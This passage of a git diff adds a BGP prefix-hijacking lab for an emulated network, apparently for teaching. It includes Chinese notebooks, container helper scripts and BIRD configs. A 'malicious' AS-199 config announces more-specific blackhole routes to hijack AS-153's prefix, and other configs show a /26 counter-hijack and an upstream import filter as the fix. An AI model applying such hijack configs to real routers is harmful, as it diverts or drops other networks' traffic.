b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/bgp_restore_cn.ipynb @@ -0,0 +1,103 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "ad6e0a93-3e30-4cb1-af45-d63dbb7a1565", + "metadata": {}, + "source": [ + "# 恢复 BGP 配置文件\n", + "\n", + "这里列出了恢复 AS-199, AS-153,和 AS-2 的 BGP 配置的命令。" + ] + }, + { + "cell_type": "markdown", + "id": "df69ba48-dbc8-4f73-b8df-b079f561ab3e", + "metadata": {}, + "source": [ + "## 恢复 AS-199 的 BGP 配置" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5a88417e-5686-4ec5-8741-10fed6d9fe3f", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as199brd_bird.conf_original as199brd-attacker-bgp-10.199.0.254:/etc/bird/bird.conf\n", + "docker exec as199brd-attacker-bgp-10.199.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "7e12feea-bfd2-4ae2-b0cb-59ad565fc0ce", + "metadata": {}, + "source": [ + "## 恢复 AS-153 的 BGP 配置" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e48ed8a8-afe1-466f-a292-972ca599bcc8", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153brd_bird.conf_original as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "0a9d4476-ee41-4711-ba7b-84b6930b49fb", + "metadata": {}, + "source": [ + "## 恢复 AS-2 的 BGP 配置" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "239005cf-7176-4dc8-b297-f78b7c3c7f55", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as2brd-r105_bird.conf_original as2brd-r105-10.105.0.2:/etc/bird/bird.conf\n", + "docker exec as2brd-r105-10.105.0.2 birdc configure" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5e1980c8-743d-4607-b9ab-ead8f233f6e9", + "metadata": {}, + "outputs": [], + "source": [] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.16" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/attack.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/attack.sh new file mode 100755 index 000000000..b93e105c0 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/attack.sh @@ -0,0 +1,7 @@ +#!/bin/bash + + +name="as199brd" +postfix="malicious" + +source ./upload.sh diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/fightback.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/fightback.sh new file mode 100755 index 000000000..494c27111 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/fightback.sh @@ -0,0 +1,7 @@ +#!/bin/bash + + +name="as153brd" +postfix="fightback" + +source ./upload.sh diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/fixproblem.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/fixproblem.sh new file mode 100755 index 000000000..b8a5c1d1f --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/fixproblem.sh @@ -0,0 +1,7 @@ +#!/bin/bash + + +name="as2brd-r105" +postfix="fixproblem" + +source ./upload.sh diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_all.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_all.sh new file mode 100755 index 000000000..e9d30bfa3 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_all.sh @@ -0,0 +1,4 @@ +./restore_as153.sh +./restore_as199.sh +./restore_as2.sh + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_as153.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_as153.sh new file mode 100755 index 000000000..53f38a905 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_as153.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +name="as153brd" +postfix="original" + +source ./upload.sh + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_as199.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_as199.sh new file mode 100755 index 000000000..47bfcdf67 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_as199.sh @@ -0,0 +1,7 @@ +#!/bin/bash + + +name="as199brd" +postfix="original" + +source ./upload.sh diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_as2.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_as2.sh new file mode 100755 index 000000000..398c9a605 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/restore_as2.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +name="as2brd-r105" +postfix="original" + +source ./upload.sh + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/upload.sh b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/upload.sh new file mode 100755 index 000000000..7482ad5d0 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo1/script_no_use/upload.sh @@ -0,0 +1,13 @@ + +dockerID=$(docker ps | grep $name | awk '{print $1}') + +if [[ -f ${name}_bird.conf_${postfix} ]]; then + echo "== Copy original bird.conf to the container: $name" + docker cp ${name}_bird.conf_${postfix} $dockerID:/etc/bird/bird.conf + + echo "== Execute 'birdc configure' on the container" + docker exec $dockerID birdc configure +else + echo "** File ${name}_bird.conf_${postfix} does not exist" +fi + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as11_r105_bird.conf_fixproblem b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as11_r105_bird.conf_fixproblem new file mode 100644 index 000000000..20dfbd9c2 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as11_r105_bird.conf_fixproblem @@ -0,0 +1,111 @@ +router id 10.0.0.16; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net_102_105"; + +} +define LOCAL_COMM = (11, 0, 0); +define CUSTOMER_COMM = (11, 1, 0); +define PEER_COMM = (11, 2, 0); +define PROVIDER_COMM = (11, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp c_as199 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(CUSTOMER_COMM); + bgp_local_pref = 30; + if (net != 10.199.0.0/24) then reject; ### 阻挡伪造的 BGP announcement + accept; + }; + export all; + next hop self; + }; + local 10.105.0.11 as 11; + neighbor 10.105.0.199 as 199; +} +protocol bgp c_as165 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(CUSTOMER_COMM); + bgp_local_pref = 30; + accept; + }; + export all; + next hop self; + }; + local 10.105.0.11 as 11; + neighbor 10.105.0.165 as 165; +} +protocol bgp c_as166 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(CUSTOMER_COMM); + bgp_local_pref = 30; + accept; + }; + export all; + next hop self; + }; + local 10.105.0.11 as 11; + neighbor 10.105.0.166 as 166; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net_102_105" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} +protocol bgp ibgp1 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.16 as 11; + neighbor 10.0.0.15 as 11; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as11_r105_bird.conf_original b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as11_r105_bird.conf_original new file mode 100644 index 000000000..92a9bfdd9 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as11_r105_bird.conf_original @@ -0,0 +1,110 @@ +router id 10.0.0.16; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net_102_105"; + +} +define LOCAL_COMM = (11, 0, 0); +define CUSTOMER_COMM = (11, 1, 0); +define PEER_COMM = (11, 2, 0); +define PROVIDER_COMM = (11, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp c_as199 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(CUSTOMER_COMM); + bgp_local_pref = 30; + accept; + }; + export all; + next hop self; + }; + local 10.105.0.11 as 11; + neighbor 10.105.0.199 as 199; +} +protocol bgp c_as165 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(CUSTOMER_COMM); + bgp_local_pref = 30; + accept; + }; + export all; + next hop self; + }; + local 10.105.0.11 as 11; + neighbor 10.105.0.165 as 165; +} +protocol bgp c_as166 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(CUSTOMER_COMM); + bgp_local_pref = 30; + accept; + }; + export all; + next hop self; + }; + local 10.105.0.11 as 11; + neighbor 10.105.0.166 as 166; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net_102_105" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} +protocol bgp ibgp1 { + ipv4 { + table t_bgp; + import all; + export all; + igp table t_ospf; + }; + local 10.0.0.16 as 11; + neighbor 10.0.0.15 as 11; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as153_bird.conf_fightback b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as153_bird.conf_fightback new file mode 100644 index 000000000..5d4cafc86 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as153_bird.conf_fightback @@ -0,0 +1,92 @@ +router id 10.0.0.25; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (153, 0, 0); +define CUSTOMER_COMM = (153, 1, 0); +define PEER_COMM = (153, 2, 0); +define PROVIDER_COMM = (153, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as12 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.101.0.153 as 153; + neighbor 10.101.0.12 as 12; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix101" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + +######################################### +# Added for BGP Attack +# Fight back +######################################### + +protocol static { + ipv4 { table t_bgp; }; + route 10.153.0.0/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.64/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.128/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.192/26 via "net0" { + bgp_large_community.add(LOCAL_COMM); + }; +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as153_bird.conf_original b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as153_bird.conf_original new file mode 100644 index 000000000..5fe156d61 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as153_bird.conf_original @@ -0,0 +1,72 @@ +router id 10.0.0.25; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (153, 0, 0); +define CUSTOMER_COMM = (153, 1, 0); +define PEER_COMM = (153, 2, 0); +define PROVIDER_COMM = (153, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as12 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.101.0.153 as 153; + neighbor 10.101.0.12 as 12; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix101" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as199_bird.conf_malicious b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as199_bird.conf_malicious new file mode 100644 index 000000000..d1bbe6973 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as199_bird.conf_malicious @@ -0,0 +1,86 @@ +router id 10.0.0.52; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (199, 0, 0); +define CUSTOMER_COMM = (199, 1, 0); +define PEER_COMM = (199, 2, 0); +define PROVIDER_COMM = (199, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as11 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.105.0.199 as 199; + neighbor 10.105.0.11 as 11; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + +############################################## +# Added BGP Attack +# Hijack AS153's network prefix 10.153.0/24 +############################################## + +protocol static { + ipv4 { table t_bgp; }; + route 10.153.0.0/25 blackhole { + bgp_large_community.add(LOCAL_COMM); + }; + route 10.153.0.128/25 blackhole { + bgp_large_community.add(LOCAL_COMM); + }; +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as199_bird.conf_original b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as199_bird.conf_original new file mode 100644 index 000000000..ef7694bb2 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/as199_bird.conf_original @@ -0,0 +1,72 @@ +router id 10.0.0.52; +ipv4 table t_direct; +protocol device { +} +protocol kernel { + ipv4 { + import all; + export all; + }; + learn; +} +protocol direct local_nets { + ipv4 { + table t_direct; + import all; + }; + + interface "net0"; + +} +define LOCAL_COMM = (199, 0, 0); +define CUSTOMER_COMM = (199, 1, 0); +define PEER_COMM = (199, 2, 0); +define PROVIDER_COMM = (199, 3, 0); +ipv4 table t_bgp; +protocol pipe { + table t_bgp; + peer table master4; + import none; + export all; +} +protocol pipe { + table t_direct; + peer table t_bgp; + import none; + export filter { bgp_large_community.add(LOCAL_COMM); bgp_local_pref = 40; accept; }; +} +protocol bgp u_as11 { + ipv4 { + table t_bgp; + import filter { + bgp_large_community.add(PROVIDER_COMM); + bgp_local_pref = 10; + accept; + }; + export where bgp_large_community ~ [LOCAL_COMM, CUSTOMER_COMM]; + next hop self; + }; + local 10.105.0.199 as 199; + neighbor 10.105.0.11 as 11; +} +ipv4 table t_ospf; +protocol ospf ospf1 { + ipv4 { + table t_ospf; + import all; + export all; + }; + area 0 { + interface "dummy0" { stub; }; + interface "ix105" { stub; }; + interface "net0" { hello 1; dead count 2; }; + + }; +} +protocol pipe { + table t_ospf; + peer table master4; + import none; + export all; +} + diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/bgp_attack_cn.ipynb b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/bgp_attack_cn.ipynb new file mode 100644 index 000000000..fb1495042 --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/bgp_attack_cn.ipynb @@ -0,0 +1,314 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "c7c3200f-cd40-4986-b1c3-cb9432bc8b1e", + "metadata": {}, + "source": [ + "# BGP 网络前缀劫持攻击" + ] + }, + { + "cell_type": "markdown", + "id": "550306c9-42a0-4671-b72c-f0a302171b51", + "metadata": {}, + "source": [ + "## 设置环境\n", + "\n", + "首先我们需要把仿真器运行起来。\n", + "\n", + "在这个实验中,我们用 AS-199 来劫持 AS-153 的 IP 前缀(`10.153.0.0/24`)。为了帮助观察 BGP 劫持的效果,我们先从一台机器上发包给 AS-153 的机器。在 Internet Map 上我们应该可以看到数据包的流动(在 Filter 栏填入 `icmp`,加回车):" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f0fcaf62-fe43-4cbc-9271-59678efb1155", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash --bg\n", + "docker exec as151h-host_0-10.151.0.71 ping 10.153.0.71" + ] + }, + { + "cell_type": "markdown", + "id": "488c08d5-11b1-4f64-afe6-70004ace09bf", + "metadata": {}, + "source": [ + "## 1. 劫持 AS-153\n", + "\n", + "第一步:攻击者是 AS-199, 所以我们先获取 AS-199 的 BGP 配置文件,对其进行修改。可以通过下面的命令从仿真器里获得配置文件。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5cea8958-4fd3-4a7f-955b-c990cd5a48e5", + "metadata": {}, + "outputs": [], + "source": [ + "!docker cp as199brd-attacker-bgp-10.199.0.254:/etc/bird/bird.conf ./as199_bird.conf" + ] + }, + { + "cell_type": "markdown", + "id": "1a1d9c2d-4a77-4c24-9846-b08343e6bd38", + "metadata": {}, + "source": [ + "第二步:我们将下面的配置内容加到 AS-199 的 BGP 配置文件的最后。这些配置对 `10.153.0.0/24` 网络进行了劫持" + ] + }, + { + "cell_type": "markdown", + "id": "fb8d0597-6ce9-4d63-9528-b059f4469f58", + "metadata": {}, + "source": [ + "```\n", + "##############################################\n", + "# Added BGP Attack\n", + "# Hijack AS153's network prefix 10.153.0/24\n", + "##############################################\n", + "\n", + "protocol static {\n", + " ipv4 { table t_bgp; };\n", + " route 10.153.0.0/25 blackhole {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.128/25 blackhole {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + "}\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "1f159bd9-570d-462a-bc42-106f5b891741", + "metadata": {}, + "source": [ + "第三步:完成了上面的修改后将改过后的 BGP 配置文件拷贝回 AS-199,然后重启 AS-199 的 BGP 守护进程。我们把修改过的配置文件放在了 `as199brd_bird.conf_malicious` 中。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c90eb559-b571-499f-914f-0219712342fa", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as199_bird.conf_malicious as199brd-attacker-bgp-10.199.0.254:/etc/bird/bird.conf\n", + "docker exec as199brd-attacker-bgp-10.199.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "75fa08d8-e9d2-4af6-96ba-f21725823f0a", + "metadata": {}, + "source": [ + "第四步:从 Internet Map 上我们可以看到数据包的流向改变了,流向了 AS-199。现在在任何一台机器是 `ping 10.153.0.71`, 都会发现没有回复。我们可以去看一下 `as3brd-r103-10.103.0.3` 上的路由(这是一个 transit 自治系统),我们可以看到网络 AS-153 的网络有 3 个记录,其中 `10.153.0.0/25` 和 `10.153.0.128/25` 完全覆盖了 `10.153.0.0/24`。从记录可以看出,去往前两个地址的下一跳路由(`10.3.0.254`)和去往 `10.153.0.0/24` 的下一跳路由(`10.3.1.253`)是不一样的,这说明去往 AS-153 的包改道了。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "26ded91b-79f1-44c9-b493-1bb4d22ca6b8", + "metadata": {}, + "outputs": [], + "source": [ + "!docker exec as3brd-r103-10.103.0.3 ip route" + ] + }, + { + "cell_type": "markdown", + "id": "6a4d06ba-1423-42bf-a41b-b1f64854801b", + "metadata": {}, + "source": [ + "## 2. AS-153 的反击" + ] + }, + { + "cell_type": "markdown", + "id": "ad994221-fcbb-46bb-9702-538dd3727f43", + "metadata": {}, + "source": [ + "第一步:AS-153 可以用同样的方法将自己的网络劫持回来。只要在自己的 BGP 配置文件中加入下面的内容即可,然后重启 BGP 守护进程。\n", + "\n", + "```\n", + "#########################################\n", + "# Added for BGP Attack\n", + "# Fight back\n", + "#########################################\n", + "\n", + "protocol static {\n", + " ipv4 { table t_bgp; };\n", + " route 10.153.0.0/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.64/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.128/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + " route 10.153.0.192/26 via \"net0\" {\n", + " bgp_large_community.add(LOCAL_COMM);\n", + " };\n", + "}\n", + "\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "02f6447f-d31e-449e-96ac-e582b1332a7c", + "metadata": {}, + "source": [ + "第二步:我们已经将修改过的配置放在了 `as153brd_bird.conf_fightback` 中,只要把它拷贝回 AS-153 的容器就可以。运行完下面的命令后,从 Internet Map 上我们可以看到数据包的流向改变了,重新流向了 AS-153。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "45708418-b20d-4de9-a55d-9de9e4e1d6dc", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153_bird.conf_fightback as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "97c29273-12d5-4af6-8ebb-bfcca5a2ec32", + "metadata": {}, + "source": [ + "## 3. 让 AS-199 的上游服务商来解决问题" + ] + }, + { + "cell_type": "markdown", + "id": "48d12f6d-9ca1-44af-8f17-2d67fc3238da", + "metadata": {}, + "source": [ + "第一步:在做这个任务之前,我们先恢复 AS-153 的配置,这样攻击仍然有效,我们就可以让上游服务商来解决这个问题。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "72df0c9d-9fca-4e41-b7ae-da6c0ff3d207", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153_bird.conf_original as153brd-router0-10.153.0.254:/etc/bird/bird.conf\n", + "docker exec as153brd-router0-10.153.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "85df351e-b883-4574-aabf-b0e8ccb8f801", + "metadata": {}, + "source": [ + "第二步:我们先来看一下 AS-199 的上游服务商是谁。下面的命令在 AS-199 的 BGP 路由器向 BGP 的守护进程 `bird` 查询信息。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "be755bed-b127-43c9-9f96-f9e8764d77c0", + "metadata": {}, + "outputs": [], + "source": [ + "!docker exec as199brd-attacker-bgp-10.199.0.254 birdc show protocols" + ] + }, + { + "cell_type": "markdown", + "id": "9c3cf28f-a847-45b5-b2e4-4c2b7829398c", + "metadata": {}, + "source": [ + "从结果我们可以看到只有一个 BGP session(第2列),也就是 `u_as11`,这是 AS-11。这个自治系统在多处有 BGP 路由器,从 Internet Map 上可以看到,AS-199 和 AS-11 是在 IX-105 进行的对待连接(peering)。我们可以找到相应的容器的名字(`as11brd-r105-10.105.0.11`):" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "58e51d16-b827-42e3-a5bf-27c6c151d9ab", + "metadata": {}, + "outputs": [], + "source": [ + "!docker ps | grep as11" + ] + }, + { + "cell_type": "markdown", + "id": "3856f1aa-b336-4a5d-a1fe-caf36c2637e9", + "metadata": {}, + "source": [ + "第三步:我们可以获取 `as11brd-r105-10.105.0.11` 的 BGP 配置文件,加入一行到它和 AS-199 的配置里(见下面的带注释的行)。这行判断 AS-199 对外 announce 的网络前缀是否是 `10.199.0.0/24`,如果不是的话就拒绝接受这个 BGP announcement。\n", + "```\n", + "protocol bgp c_as199 {\n", + " ipv4 {\n", + " table t_bgp;\n", + " import filter {\n", + " bgp_large_community.add(CUSTOMER_COMM);\n", + " bgp_local_pref = 30;\n", + " if (net != 10.199.0.0/24) then reject; ### 阻挡伪造的 BGP announcement \n", + " accept;\n", + " };\n", + " export all;\n", + " next hop self;\n", + " };\n", + " local 10.105.0.11 as 11;\n", + " neighbor 10.105.0.199 as 199;\n", + "}\n", + "```" + ] + }, + { + "cell_type": "markdown", + "id": "be9f6b39-750a-4825-9b6e-d95c92b1ed6d", + "metadata": {}, + "source": [ + "第四步:把修改过的 BGP 配置文件传回 `as11brd-r105-10.105.0.11`。我们修改过的文件是 `as11_r105_bird.conf_fixproblem`。运行完下面的命令,从 Internet Map 上我们可以看到数据包的流向改变了,重新流向了 AS-153。" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f4850a7b-f808-4840-9aa9-0980f5d8163b", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as11_r105_bird.conf_fixproblem as11brd-r105-10.105.0.11:/etc/bird/bird.conf\n", + "docker exec as11brd-r105-10.105.0.11 birdc configure" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.16" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/bgp_restore_cn.ipynb b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/bgp_restore_cn.ipynb new file mode 100644 index 000000000..5b07d2fcc --- /dev/null +++ b/examples/yesterday_once_more/Y01_bgp_prefix_hijacking/demo2/bgp_restore_cn.ipynb @@ -0,0 +1,103 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "ad6e0a93-3e30-4cb1-af45-d63dbb7a1565", + "metadata": {}, + "source": [ + "# 恢复 BGP 配置文件\n", + "\n", + "这里列出了恢复 AS-199, AS-153,和 AS-2 的 BGP 配置的命令。" + ] + }, + { + "cell_type": "markdown", + "id": "df69ba48-dbc8-4f73-b8df-b079f561ab3e", + "metadata": {}, + "source": [ + "## 恢复 AS-199 的 BGP 配置" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "5a88417e-5686-4ec5-8741-10fed6d9fe3f", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as199_bird.conf_original as199brd-attacker-bgp-10.199.0.254:/etc/bird/bird.conf\n", + "docker exec as199brd-attacker-bgp-10.199.0.254 birdc configure" + ] + }, + { + "cell_type": "markdown", + "id": "7e12feea-bfd2-4ae2-b0cb-59ad565fc0ce", + "metadata": {}, + "source": [ + "## 恢复 AS-153 的 BGP 配置" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e48ed8a8-afe1-466f-a292-972ca599bcc8", + "metadata": {}, + "outputs": [], + "source": [ + "%%bash\n", + "docker cp as153_bird.conf_original 